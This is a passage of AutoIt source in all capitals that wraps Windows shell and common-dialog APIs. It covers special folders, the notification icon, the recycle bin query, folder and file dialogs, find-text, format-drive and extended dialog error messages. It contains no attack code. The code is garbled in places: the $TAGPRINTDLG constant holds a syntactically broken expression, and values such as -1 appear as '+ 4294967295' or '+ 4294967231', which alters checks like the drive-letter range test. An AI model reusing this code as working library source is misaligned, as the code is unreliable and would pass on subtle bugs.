LOCAL $AOPT [20 ] [2 ] = [[1 , 1 ] , [2 , 2 ] , [4 , 32768 ] , [8 , 32 ] , [16 , 8 ] , [32 , 128 ] , [64 , 512 ] , [128 , 1024 ] , [256 , 2048 ] , [1024 , 4096 ] , [2048 , 8192 ] , [4096 , 16384 ] , [8192 , 131072 ] , [32768 , 262144 ] , [65536 , 1048576 ] , [1 , 524288 ] , [2 , 2097152 ] , [8 , 8388608 ] , [16 , 16777216 ] , [32 , 33554432 ] ]
FOR $I = 0 TO 14
IF BITAND ($IVAL1 , $AOPT [$I ] [0 ] ) THEN
$IRESULT += $AOPT [$I ] [1 ]
ENDIF
NEXT
FOR $I = 15 TO 19
IF BITAND ($IVAL2 , $AOPT [$I ] [0 ] ) THEN
$IRESULT += $AOPT [$I ] [1 ]
ENDIF
NEXT
RETURN $IRESULT
ENDFUNC
FUNC _WINAPI_SHELLGETSPECIALFOLDERLOCATION ($ICSIDL )
LOCAL $ARET = DLLCALL ("shell32.dll" , "long" , "SHGetSpecialFolderLocation" , "hwnd" , 0 , "int" , $ICSIDL , "ptr*" , 0 )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
IF $ARET [0 ] THEN RETURN SETERROR (10 , $ARET [0 ] , 0 )
RETURN $ARET [3 ]
ENDFUNC
FUNC _WINAPI_SHELLGETSPECIALFOLDERPATH ($ICSIDL , $BCREATE = FALSE )
LOCAL $ARET = DLLCALL ("shell32.dll" , "bool" , "SHGetSpecialFolderPathW" , "hwnd" , 0 , "wstr" , "" , "int" , $ICSIDL , "bool" , $BCREATE )
IF @ERROR OR NOT $ARET [0 ] THEN RETURN SETERROR (@ERROR + 10 , @EXTENDED , "" )
RETURN $ARET [2 ]
ENDFUNC
FUNC _WINAPI_SHELLGETSTOCKICONINFO ($ISIID , $IFLAGS )
LOCAL $TSHSTOCKICONINFO = DLLSTRUCTCREATE ($TAGSHSTOCKICONINFO )
DLLSTRUCTSETDATA ($TSHSTOCKICONINFO , "Size" , DLLSTRUCTGETSIZE ($TSHSTOCKICONINFO ) )
LOCAL $ARET = DLLCALL ("shell32.dll" , "long" , "SHGetStockIconInfo" , "int" , $ISIID , "uint" , $IFLAGS , "struct*" , $TSHSTOCKICONINFO )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
IF $ARET [0 ] THEN RETURN SETERROR (10 , $ARET [0 ] , 0 )
RETURN $TSHSTOCKICONINFO
ENDFUNC
FUNC _WINAPI_SHELLILCREATEFROMPATH ($SFILEPATH )
LOCAL $ARET = DLLCALL ("shell32.dll" , "long" , "SHILCreateFromPath" , "wstr" , $SFILEPATH , "ptr*" , 0 , "dword*" , 0 )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
IF $ARET [0 ] THEN RETURN SETERROR (10 , $ARET [0 ] , 0 )
RETURN $ARET [2 ]
ENDFUNC
FUNC _WINAPI_SHELLNOTIFYICON ($IMESSAGE , BYREF $TNOTIFYICONDATA )
LOCAL $ARET = DLLCALL ("shell32.dll" , "bool" , "Shell_NotifyIconW" , "dword" , $IMESSAGE , "struct*" , $TNOTIFYICONDATA )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE )
RETURN $ARET [0 ]
ENDFUNC
FUNC _WINAPI_SHELLNOTIFYICONGETRECT ($HWND , $IID , $TGUID = 0 )
LOCAL $TNII = DLLSTRUCTCREATE ("dword;hwnd;uint;" & $TAGGUID )
DLLSTRUCTSETDATA ($TNII , 1 , DLLSTRUCTGETSIZE ($TNII ) )
DLLSTRUCTSETDATA ($TNII , 2 , $HWND )
DLLSTRUCTSETDATA ($TNII , 3 , $IID )
IF ISDLLSTRUCT ($TGUID ) THEN
IF NOT _WINAPI_MOVEMEMORY (DLLSTRUCTGETPTR ($TNII , 4 ) , $TGUID , 16 ) THEN RETURN SETERROR (@ERROR + 10 , @EXTENDED , 0 )
ENDIF
LOCAL $TRECT = DLLSTRUCTCREATE ($TAGRECT )
LOCAL $ARET = DLLCALL ("shell32.dll" , "long" , "Shell_NotifyIconGetRect" , "struct*" , $TNII , "struct*" , $TRECT )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
IF $ARET [0 ] THEN RETURN SETERROR (10 , $ARET [0 ] , 0 )
RETURN $TRECT
ENDFUNC
FUNC _WINAPI_SHELLOBJECTPROPERTIES ($SFILEPATH , $ITYPE = 2 , $SPROPERTY = "" , $HPARENT = 0 )
LOCAL $STYPEOFPROPERTY = "wstr"
IF NOT STRINGSTRIPWS ($SPROPERTY , $STR_STRIPLEADING + $STR_STRIPTRAILING ) THEN
$STYPEOFPROPERTY = "ptr"
$SPROPERTY = 0
ENDIF
LOCAL $ARET = DLLCALL ("shell32.dll" , "bool" , "SHObjectProperties" , "hwnd" , $HPARENT , "dword" , $ITYPE , "wstr" , $SFILEPATH , $STYPEOFPROPERTY , $SPROPERTY )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE )
RETURN $ARET [0 ]
ENDFUNC
FUNC _WINAPI_SHELLOPENFOLDERANDSELECTITEMS ($SFILEPATH , $ANAMES = 0 , $ISTART = 0 , $IEND = + 4294967295 , $IFLAGS = 0 )
LOCAL $PPIDL , $ARET , $TPTR = 0 , $ICOUNT = 0 , $IOBJ = 0 , $IERROR = 0
$SFILEPATH = _WINAPI_PATHREMOVEBACKSLASH (_WINAPI_PATHSEARCHANDQUALIFY ($SFILEPATH ) )
IF ISARRAY ($ANAMES ) THEN
IF $SFILEPATH AND NOT _WINAPI_PATHISDIRECTORY ($SFILEPATH ) THEN RETURN SETERROR (@ERROR + 20 , @EXTENDED , 0 )
ENDIF
$PPIDL = _WINAPI_SHELLILCREATEFROMPATH ($SFILEPATH )
IF @ERROR THEN RETURN SETERROR (@ERROR + 30 , @EXTENDED , 0 )
IF NOT __CHECKERRORARRAYBOUNDS ($ANAMES , $ISTART , $IEND ) THEN
$TPTR = DLLSTRUCTCREATE ("ptr[" & ($IEND - $ISTART + 1 ) & "]" )
FOR $I = $ISTART TO $IEND
$ICOUNT += 1
IF $ANAMES [$I ] THEN
DLLSTRUCTSETDATA ($TPTR , 1 , _WINAPI_SHELLILCREATEFROMPATH ($SFILEPATH & "\" & $ANAMES [$I ] ) , $ICOUNT )
ELSE
DLLSTRUCTSETDATA ($TPTR , 1 , 0 , $ICOUNT )
ENDIF
NEXT
ENDIF
IF _WINAPI_COINITIALIZE () THEN $IOBJ = 1
$ARET = DLLCALL ("shell32.dll" , "long" , "SHOpenFolderAndSelectItems" , "ptr" , $PPIDL , "uint" , $ICOUNT , "struct*" , $TPTR , "dword" , $IFLAGS )
IF @ERROR THEN
$IERROR = @ERROR + 10
ELSE
IF $ARET [0 ] THEN $IERROR = 10
ENDIF
IF $IOBJ THEN _WINAPI_COUNINITIALIZE ()
_WINAPI_COTASKMEMFREE ($PPIDL )
FOR $I = 1 TO $ICOUNT
$PPIDL = DLLSTRUCTGETDATA ($TPTR , $I )
IF $PPIDL THEN
_WINAPI_COTASKMEMFREE ($PPIDL )
ENDIF
NEXT
IF $IERROR = 10 THEN RETURN SETERROR (10 , $ARET [0 ] , 0 )
IF $IERROR THEN RETURN SETERROR ($IERROR , 0 , 0 )
RETURN 1
ENDFUNC
FUNC _WINAPI_SHELLQUERYRECYCLEBIN ($SROOT = "" )
LOCAL $TSHQRBI = DLLSTRUCTCREATE ("align 4;dword_ptr;int64;int64" )
DLLSTRUCTSETDATA ($TSHQRBI , 1 , DLLSTRUCTGETSIZE ($TSHQRBI ) )
LOCAL $ARET = DLLCALL ("shell32.dll" , "long" , "SHQueryRecycleBinW" , "wstr" , $SROOT , "struct*" , $TSHQRBI )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
IF $ARET [0 ] THEN RETURN SETERROR (10 , $ARET [0 ] , 0 )
LOCAL $ARESULT [2 ]
$ARESULT [0 ] = DLLSTRUCTGETDATA ($TSHQRBI , 2 )
$ARESULT [1 ] = DLLSTRUCTGETDATA ($TSHQRBI , 3 )
RETURN $ARESULT
ENDFUNC
FUNC _WINAPI_SHELLQUERYUSERNOTIFICATIONSTATE ()
LOCAL $ARET = DLLCALL ("shell32.dll" , "long" , "SHQueryUserNotificationState" , "uint*" , 0 )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
IF $ARET [0 ] THEN RETURN SETERROR (10 , $ARET [0 ] , 0 )
RETURN $ARET [1 ]
ENDFUNC
FUNC _WINAPI_SHELLREMOVELOCALIZEDNAME ($SFILEPATH )
LOCAL $ARET = DLLCALL ("shell32.dll" , "long" , "SHRemoveLocalizedName" , "wstr" , $SFILEPATH )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
IF $ARET [0 ] THEN RETURN SETERROR (10 , $ARET [0 ] , 0 )
RETURN 1
ENDFUNC
FUNC _WINAPI_SHELLRESTRICTED ($IRESTRICTION )
LOCAL $ARET = DLLCALL ("shell32.dll" , "dword" , "SHRestricted" , "uint" , $IRESTRICTION )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN $ARET [0 ]
ENDFUNC
FUNC _WINAPI_SHELLSETKNOWNFOLDERPATH ($SGUID , $SFILEPATH , $IFLAGS = 0 , $HTOKEN = 0 )
LOCAL $TGUID = DLLSTRUCTCREATE ($TAGGUID )
LOCAL $ARET = DLLCALL ("ole32.dll" , "long" , "CLSIDFromString" , "wstr" , $SGUID , "struct*" , $TGUID )
IF @ERROR OR $ARET [0 ] THEN RETURN SETERROR (@ERROR + 20 , @EXTENDED , 0 )
$ARET = DLLCALL ("shell32.dll" , "long" , "SHSetKnownFolderPath" , "struct*" , $TGUID , "dword" , $IFLAGS , "handle" , $HTOKEN , "wstr" , $SFILEPATH )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
IF $ARET [0 ] THEN RETURN SETERROR (10 , $ARET [0 ] , 0 )
RETURN 1
ENDFUNC
FUNC _WINAPI_SHELLSETLOCALIZEDNAME ($SFILEPATH , $SMODULE , $IRESID )
LOCAL $ARET = DLLCALL ("shell32.dll" , "long" , "SHSetLocalizedName" , "wstr" , $SFILEPATH , "wstr" , $SMODULE , "int" , $IRESID )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
IF $ARET [0 ] THEN RETURN SETERROR (10 , $ARET [0 ] , 0 )
RETURN 1
ENDFUNC
FUNC _WINAPI_SHELLSETSETTINGS ($IFLAGS , $BSET )
LOCAL $IVAL1 = 0 , $IVAL2 = 0
LOCAL $AOPT [20 ] [2 ] = [[1 , 1 ] , [2 , 2 ] , [4 , 32768 ] , [8 , 32 ] , [16 , 8 ] , [32 , 128 ] , [64 , 512 ] , [128 , 1024 ] , [256 , 2048 ] , [1024 , 4096 ] , [2048 , 8192 ] , [4096 , 16384 ] , [8192 , 131072 ] , [32768 , 262144 ] , [65536 , 1048576 ] , [1 , 524288 ] , [2 , 2097152 ] , [8 , 8388608 ] , [16 , 16777216 ] , [32 , 33554432 ] ]
IF $BSET THEN
FOR $I = 0 TO 14
IF BITAND ($IFLAGS , $AOPT [$I ] [1 ] ) THEN
$IVAL1 += $AOPT [$I ] [0 ]
ENDIF
NEXT
FOR $I = 15 TO 19
IF BITAND ($IFLAGS , $AOPT [$I ] [1 ] ) THEN
$IVAL2 += $AOPT [$I ] [0 ]
ENDIF
NEXT
ENDIF
LOCAL $TSHELLSTATE = DLLSTRUCTCREATE ("uint[8]" )
DLLSTRUCTSETDATA ($TSHELLSTATE , 1 , $IVAL1 , 1 )
DLLSTRUCTSETDATA ($TSHELLSTATE , 1 , $IVAL2 , 8 )
DLLCALL ("shell32.dll" , "none" , "SHGetSetSettings" , "struct*" , $TSHELLSTATE , "dword" , $IFLAGS , "bool" , 1 )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN 1
ENDFUNC
FUNC _WINAPI_SHELLUPDATEIMAGE ($SICON , $IINDEX , $IIMAGE , $IFLAGS = 0 )
DLLCALL ("shell32.dll" , "none" , "SHUpdateImageW" , "wstr" , $SICON , "int" , $IINDEX , "uint" , $IFLAGS , "int" , $IIMAGE )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN 1
ENDFUNC
#EndRegion Public Functions
#Region Global Variables and Constants
GLOBAL $__G_PFRBUFFER = 0 , $__G_IFRBUFFERSIZE = 16385
GLOBAL CONST $TAGDEVNAMES = "ushort DriverOffset;ushort DeviceOffset;ushort OutputOffset;ushort Default"
GLOBAL CONST $TAGFINDREPLACE = "dword Size;hwnd hOwner;ptr hInstance;dword Flags;ptr FindWhat;ptr ReplaceWith;ushort FindWhatLen;ushort ReplaceWithLen;lparam lParam;ptr Hook;ptr TemplateName"
GLOBAL CONST $TAGMSGBOXPARAMS = "uint Size;hwnd hOwner;ptr hInstance;int_ptr Text;int_ptr Caption;dword Style;int_ptr Icon;dword_ptr ContextHelpId;ptr MsgBoxCallback;dword LanguageId"
GLOBAL CONST $TAGPAGESETUPDLG = "dword Size;hwnd hOwner;ptr hDevMode;ptr hDevNames;dword Flags;long PaperWidth;long PaperHeight;long MarginMinLeft;long MarginMinTop;long MarginMinRight;long MarginMinBottom;long MarginLeft;long MarginTop;long MarginRight;long MarginBottom;ptr hInstance;lparam lParam;ptr PageSetupHook;ptr PagePaintHook;ptr PageSetupTemplateName;ptr hPageSetupTemplate"
GLOBAL CONST $TAGPRINTDLG = (@AUTOITX64 "" "align 2;" ) & "dword Size;hwnd hOwner;handle hDevMode;handle hDevNames;handle hDC;dword Flags;word FromPage;word ToPage;word MinPage;word MaxPage;word Copies;handle hInstance;lparam lParam;ptr PrintHook;ptr SetupHook;ptr PrintTemplateName;ptr SetupTemplateName;handle hPrintTemplate;handle hSetupTemplate"
GLOBAL CONST $TAGPRINTDLGEX = "dword Size;hwnd hOwner;handle hDevMode;handle hDevNames;handle hDC;dword Flags;dword Flags2;dword ExclusionFlags;dword NumPageRanges;dword MaxPageRanges;ptr PageRanges;dword MinPage;dword MaxPage;dword Copies;handle hInstance;ptr PrintTemplateName;lparam lParam;dword NumPropertyPages;ptr hPropertyPages;dword StartPage;dword ResultAction"
GLOBAL CONST $TAGPRINTPAGERANGE = "dword FromPage;dword ToPage"
#EndRegion Global Variables and Constants
#Region Functions list
#EndRegion Functions list
#Region Public Functions
FUNC _WINAPI_BROWSEFORFOLDERDLG ($SROOT = "" , $STEXT = "" , $IFLAGS = 0 , $PBROWSEPROC = 0 , $LPARAM = 0 , $HPARENT = 0 )
LOCAL CONST $TAGBROWSEINFO = "hwnd hwndOwner;ptr pidlRoot;ptr pszDisplayName; ptr lpszTitle;uint ulFlags;ptr lpfn;lparam lParam;int iImage"
LOCAL $TBROWSEINFO = DLLSTRUCTCREATE ($TAGBROWSEINFO & ";wchar[" & (STRINGLEN ($STEXT ) + 1 ) & "];wchar[260]" )
LOCAL $PPIDL = 0 , $SRESULT = ""
IF STRINGSTRIPWS ($SROOT , $STR_STRIPLEADING + $STR_STRIPTRAILING ) THEN
LOCAL $SPATH = _WINAPI_PATHSEARCHANDQUALIFY ($SROOT , 1 )
IF @ERROR THEN
$SPATH = $SROOT
ENDIF
$PPIDL = _WINAPI_SHELLILCREATEFROMPATH ($SPATH )
IF @ERROR THEN
ENDIF
ENDIF
DLLSTRUCTSETDATA ($TBROWSEINFO , 1 , $HPARENT )
DLLSTRUCTSETDATA ($TBROWSEINFO , 2 , $PPIDL )
DLLSTRUCTSETDATA ($TBROWSEINFO , 3 , DLLSTRUCTGETPTR ($TBROWSEINFO , 10 ) )
DLLSTRUCTSETDATA ($TBROWSEINFO , 4 , DLLSTRUCTGETPTR ($TBROWSEINFO , 9 ) )
DLLSTRUCTSETDATA ($TBROWSEINFO , 5 , $IFLAGS )
DLLSTRUCTSETDATA ($TBROWSEINFO , 6 , $PBROWSEPROC )
DLLSTRUCTSETDATA ($TBROWSEINFO , 7 , $LPARAM )
DLLSTRUCTSETDATA ($TBROWSEINFO , 8 , 0 )
DLLSTRUCTSETDATA ($TBROWSEINFO , 9 , $STEXT )
LOCAL $ARET = DLLCALL ("shell32.dll" , "ptr" , "SHBrowseForFolderW" , "struct*" , $TBROWSEINFO )
IF @ERROR OR NOT $ARET [0 ] THEN RETURN SETERROR (@ERROR , @EXTENDED , "" )
$SRESULT = _WINAPI_SHELLGETPATHFROMIDLIST ($ARET [0 ] )
_WINAPI_COTASKMEMFREE ($ARET [0 ] )
IF $PPIDL THEN
_WINAPI_COTASKMEMFREE ($PPIDL )
ENDIF
IF NOT $SRESULT THEN RETURN SETERROR (10 , 0 , "" )
RETURN $SRESULT
ENDFUNC
FUNC _WINAPI_COMMDLGEXTENDEDERROR ()
LOCAL CONST $CDERR_DIALOGFAILURE = 65535
LOCAL CONST $CDERR_FINDRESFAILURE = 6
LOCAL CONST $CDERR_INITIALIZATION = 2
LOCAL CONST $CDERR_LOADRESFAILURE = 7
LOCAL CONST $CDERR_LOADSTRFAILURE = 5
LOCAL CONST $CDERR_LOCKRESFAILURE = 8
LOCAL CONST $CDERR_MEMALLOCFAILURE = 9
LOCAL CONST $CDERR_MEMLOCKFAILURE = 10
LOCAL CONST $CDERR_NOHINSTANCE = 4
LOCAL CONST $CDERR_NOHOOK = 11
LOCAL CONST $CDERR_NOTEMPLATE = 3
LOCAL CONST $CDERR_REGISTERMSGFAIL = 12
LOCAL CONST $CDERR_STRUCTSIZE = 1
LOCAL CONST $FNERR_BUFFERTOOSMALL = 12291
LOCAL CONST $FNERR_INVALIDFILENAME = 12290
LOCAL CONST $FNERR_SUBCLASSFAILURE = 12289
LOCAL $ARESULT = DLLCALL ("comdlg32.dll" , "dword" , "CommDlgExtendedError" )
IF NOT @ERROR THEN
SWITCH $ARESULT [0 ]
CASE $CDERR_DIALOGFAILURE
RETURN SETERROR ($ARESULT [0 ] , 0 , "The dialog box could not be created." & @LF & "The common dialog box function's call to the DialogBox function failed." & @LF & "For example, this error occurs if the common dialog box call specifies an invalid window handle." )
CASE $CDERR_FINDRESFAILURE
RETURN SETERROR ($ARESULT [0 ] , 0 , "The common dialog box function failed to find a specified resource." )
CASE $CDERR_INITIALIZATION
RETURN SETERROR ($ARESULT [0 ] , 0 , "The common dialog box function failed during initialization." & @LF & "This error often occurs when sufficient memory is not available." )
CASE $CDERR_LOADRESFAILURE
RETURN SETERROR ($ARESULT [0 ] , 0 , "The common dialog box function failed to load a specified resource." )
CASE $CDERR_LOADSTRFAILURE
RETURN SETERROR ($ARESULT [0 ] , 0 , "The common dialog box function failed to load a specified string." )
CASE $CDERR_LOCKRESFAILURE
RETURN SETERROR ($ARESULT [0 ] , 0 , "The common dialog box function failed to lock a specified resource." )
CASE $CDERR_MEMALLOCFAILURE
RETURN SETERROR ($ARESULT [0 ] , 0 , "The common dialog box function was unable to allocate memory for internal structures." )
CASE $CDERR_MEMLOCKFAILURE
RETURN SETERROR ($ARESULT [0 ] , 0 , "The common dialog box function was unable to lock the memory associated with a handle." )
CASE $CDERR_NOHINSTANCE
RETURN SETERROR ($ARESULT [0 ] , 0 , "The ENABLETEMPLATE flag was set in the Flags member of the initialization structure for the corresponding common dialog box," & @LF & "but you failed to provide a corresponding instance handle." )
CASE $CDERR_NOHOOK
RETURN SETERROR ($ARESULT [0 ] , 0 , "The ENABLEHOOK flag was set in the Flags member of the initialization structure for the corresponding common dialog box," & @LF & "but you failed to provide a pointer to a corresponding hook procedure." )
CASE $CDERR_NOTEMPLATE
RETURN SETERROR ($ARESULT [0 ] , 0 , "The ENABLETEMPLATE flag was set in the Flags member of the initialization structure for the corresponding common dialog box," & @LF & "but you failed to provide a corresponding template." )
CASE $CDERR_REGISTERMSGFAIL
RETURN SETERROR ($ARESULT [0 ] , 0 , "The RegisterWindowMessage function returned an error code when it was called by the common dialog box function." )
CASE $CDERR_STRUCTSIZE
RETURN SETERROR ($ARESULT [0 ] , 0 , "The lStructSize member of the initialization structure for the corresponding common dialog box is invalid" )
CASE $FNERR_BUFFERTOOSMALL
RETURN SETERROR ($ARESULT [0 ] , 0 , "The buffer pointed to by the lpstrFile member of the OPENFILENAME structure is too small for the file name specified by the user." & @LF & "The first two bytes of the lpstrFile buffer contain an integer value specifying the size, in TCHARs, required to receive the full name." )
CASE $FNERR_INVALIDFILENAME
RETURN SETERROR ($ARESULT [0 ] , 0 , "A file name is invalid." )
CASE $FNERR_SUBCLASSFAILURE
RETURN SETERROR ($ARESULT [0 ] , 0 , "An attempt to subclass a list box failed because sufficient memory was not available." )
ENDSWITCH
ENDIF
RETURN SETERROR (@ERROR , @EXTENDED , "0x" & HEX ($ARESULT [0 ] ) )
ENDFUNC
FUNC _WINAPI_COMMDLGEXTENDEDERROREX ()
LOCAL $ARET = DLLCALL ("comdlg32.dll" , "dword" , "CommDlgExtendedError" )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN $ARET [0 ]
ENDFUNC
FUNC _WINAPI_CONFIRMCREDENTIALS ($STARGET , $BCONFIRM )
IF NOT __DLL ("credui.dll" ) THEN RETURN SETERROR (103 , 0 , 0 )
LOCAL $ARET = DLLCALL ("credui.dll" , "dword" , "CredUIConfirmCredentialsW" , "wstr" , $STARGET , "bool" , $BCONFIRM )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
IF $ARET [0 ] THEN RETURN SETERROR (10 , $ARET [0 ] , 0 )
RETURN 1
ENDFUNC
FUNC _WINAPI_FINDTEXTDLG ($HOWNER , $SFINDWHAT = "" , $IFLAGS = 0 , $PFINDPROC = 0 , $LPARAM = 0 )
$__G_PFRBUFFER = __HEAPREALLOC ($__G_PFRBUFFER , 2 * $__G_IFRBUFFERSIZE )
IF @ERROR THEN RETURN SETERROR (@ERROR + 20 , @EXTENDED , 0 )
DLLSTRUCTSETDATA (DLLSTRUCTCREATE ("wchar[" & $__G_IFRBUFFERSIZE & "]" , $__G_PFRBUFFER ) , 1 , STRINGLEFT ($SFINDWHAT , $__G_IFRBUFFERSIZE + 4294967295 ) )
LOCAL $TFR = DLLSTRUCTCREATE ($TAGFINDREPLACE )
DLLSTRUCTSETDATA ($TFR , "Size" , DLLSTRUCTGETSIZE ($TFR ) )
DLLSTRUCTSETDATA ($TFR , "hOwner" , $HOWNER )
DLLSTRUCTSETDATA ($TFR , "hInstance" , 0 )
DLLSTRUCTSETDATA ($TFR , "Flags" , $IFLAGS )
DLLSTRUCTSETDATA ($TFR , "FindWhat" , $__G_PFRBUFFER )
DLLSTRUCTSETDATA ($TFR , "ReplaceWith" , 0 )
DLLSTRUCTSETDATA ($TFR , "FindWhatLen" , $__G_IFRBUFFERSIZE * 2 )
DLLSTRUCTSETDATA ($TFR , "ReplaceWithLen" , 0 )
DLLSTRUCTSETDATA ($TFR , "lParam" , $LPARAM )
DLLSTRUCTSETDATA ($TFR , "Hook" , $PFINDPROC )
DLLSTRUCTSETDATA ($TFR , "TemplateName" , 0 )
LOCAL $ARET = DLLCALL ("comdlg32.dll" , "hwnd" , "FindTextW" , "struct*" , $TFR )
IF @ERROR OR NOT $ARET [0 ] THEN
LOCAL $IERROR = @ERROR + 30
__HEAPFREE ($__G_PFRBUFFER )
IF ISARRAY ($ARET ) THEN
RETURN SETERROR (10 , _WINAPI_COMMDLGEXTENDEDERROREX () , 0 )
ELSE
RETURN SETERROR ($IERROR , @EXTENDED , 0 )
ENDIF
ENDIF
RETURN $ARET [0 ]
ENDFUNC
FUNC _WINAPI_FLUSHFRBUFFER ()
IF NOT __HEAPFREE ($__G_PFRBUFFER , 1 ) THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN 1
ENDFUNC
FUNC _WINAPI_FORMATDRIVEDLG ($SDRIVE , $IOPTION = 0 , $HPARENT = 0 )
IF NOT ISSTRING ($SDRIVE ) THEN RETURN SETERROR (10 , 0 , 0 )
$SDRIVE = STRINGLEFT (STRINGUPPER (STRINGSTRIPWS ($SDRIVE , $STR_STRIPLEADING ) ) , 1 )
IF NOT $SDRIVE THEN RETURN SETERROR (11 , 0 , 0 )
$SDRIVE = ASC ($SDRIVE ) + 4294967231
IF ($SDRIVE < 0 ) OR ($SDRIVE > 25 ) THEN RETURN SETERROR (12 , 0 , 0 )
LOCAL $ARET = DLLCALL ("shell32.dll" , "dword" , "SHFormatDrive" , "hwnd" , $HPARENT , "uint" , $SDRIVE , "uint" , 65535 , "uint" , $IOPTION )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
IF $ARET [0 ] < 0 THEN RETURN SETERROR ($ARET [0 ] , 0 , 0 )
RETURN $ARET [0 ]
ENDFUNC
FUNC _WINAPI_GETCONNECTEDDLG ($IDLG , $IFLAGS = 0 , $HPARENT = 0 )
IF NOT __DLL ("connect.dll" ) THEN RETURN SETERROR (103 , 0 , 0 )
SWITCH $IDLG
CASE 0
$IDLG = "GetNetworkConnected"
CASE 1
$IDLG = "GetInternetConnected"
CASE 2
$IDLG = "GetVPNConnected"
CASE ELSE
RETURN SETERROR (1 , 0 , 0 )
ENDSWITCH
LOCAL $SSTR = ""
IF BITAND ($IFLAGS , 1 ) THEN
$SSTR &= "-SkipInternetDetection "
ENDIF
IF BITAND ($IFLAGS , 2 ) THEN
$SSTR &= "-SkipExistingConnections "
ENDIF
IF BITAND ($IFLAGS , 4 ) THEN
$SSTR &= "-HideFinishPage "
ENDIF
LOCAL $ARET = DLLCALL ("connect.dll" , "long" , $IDLG , "hwnd" , $HPARENT , "dword" , 0 , "dword" , 0 , "dword" , 0 , "handle" , 0 , "wstr" , STRINGSTRIPWS ($SSTR , $STR_STRIPTRAILING ) )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
IF NOT ($ARET [0 ] = 0 OR $ARET [0 ] = 1 ) THEN RETURN SETERROR (10 , $ARET [0 ] , 0 )
RETURN NUMBER (NOT $ARET [0 ] )
ENDFUNC
FUNC _WINAPI_GETFRBUFFER ()
RETURN $__G_IFRBUFFERSIZE + 4294967295
ENDFUNC
FUNC _WINAPI_GETOPENFILENAME ($STITLE = "" , $SFILTER = "All files (*.*)" , $SINITALDIR = "." , $SDEFAULTFILE = "" , $SDEFAULTEXT = "" , $IFILTERINDEX = 1 , $IFLAGS = 0 , $IFLAGSEX = 0 , $HWNDOWNER = 0 )
LOCAL $VRESULT = __OFNDLG (0 , $STITLE , $SINITALDIR , $SFILTER , $IFILTERINDEX , $SDEFAULTFILE , $SDEFAULTEXT , $IFLAGS , $IFLAGSEX , 0 , 0 , $HWNDOWNER )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , "" )
IF BITAND ($IFLAGS , $OFN_ALLOWMULTISELECT ) THEN
RETURN __WINAPI_PARSEMULTISELECTFILEDIALOGPATH ($VRESULT )
ELSE
RETURN __WINAPI_PARSEFILEDIALOGPATH ($VRESULT )
ENDIF
ENDFUNC
FUNC _WINAPI_GETSAVEFILENAME ($STITLE = "" , $SFILTER = "All files (*.*)" , $SINITALDIR = "." , $SDEFAULTFILE = "" , $SDEFAULTEXT = "" , $IFILTERINDEX = 1 , $IFLAGS = 0 , $IFLAGSEX = 0 , $HWNDOWNER = 0 )
LOCAL $SRETURN = __OFNDLG (1 , $STITLE , $SINITALDIR , $SFILTER , $IFILTERINDEX , $SDEFAULTFILE , $SDEFAULTEXT , $IFLAGS , $IFLAGSEX , 0 , 0 , $HWNDOWNER )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , "" )
RETURN __WINAPI_PARSEFILEDIALOGPATH ($SRETURN )
ENDFUNC
FUNC _WINAPI_MESSAGEBOXCHECK ($ITYPE , $STITLE , $STEXT , $SREGVAL , $IDEFAULT = + 4294967295 , $HPARENT = 0 )
LOCAL $ARET = DLLCALL ("shlwapi.dll" , "int" , "SHMessageBoxCheckW" , "hwnd" , $HPARENT , "wstr" , $STEXT , "wstr" , $STITLE , "uint" , $ITYPE , "int" , $IDEFAULT , "wstr" , $SREGVAL )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , + 4294967295 )
RETURN $ARET [0 ]
ENDFUNC
FUNC _WINAPI_MESSAGEBOXINDIRECT ($TMSGBOXPARAMS )
LOCAL $ARET = DLLCALL ("user32.dll" , "int" , "MessageBoxIndirectW" , "struct*" , $TMSGBOXPARAMS )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN $ARET [0 ]
ENDFUNC
FUNC _WINAPI_OPENFILEDLG ($STITLE = "" , $SINITDIR = "" , $SFILTERS = "" , $IDEFAULTFILTER = 0 , $SDEFAULTFILEPATH = "" , $SDEFAULTEXT = "" , $IFLAGS = 0 , $IFLAGSEX = 0 , $POFNPROC = 0 , $PDATA = 0 , $HPARENT = 0 )
LOCAL $SRESULT = __OFNDLG (0 , $STITLE , $SINITDIR , $SFILTERS , $IDEFAULTFILTER , $SDEFAULTFILEPATH , $SDEFAULTEXT , $IFLAGS , $IFLAGSEX , $POFNPROC , $PDATA , $HPARENT )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , "" )
RETURN $SRESULT
ENDFUNC
FUNC _WINAPI_PAGESETUPDLG (BYREF $TPAGESETUPDLG )
LOCAL $ARET = DLLCALL ("comdlg32.dll" , "int" , "PageSetupDlgW" , "struct*" , $TPAGESETUPDLG )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
IF NOT $ARET [0 ] THEN RETURN SETERROR (10 , _WINAPI_COMMDLGEXTENDEDERROREX () , 0 )
RETURN $ARET [0 ]
ENDFUNC
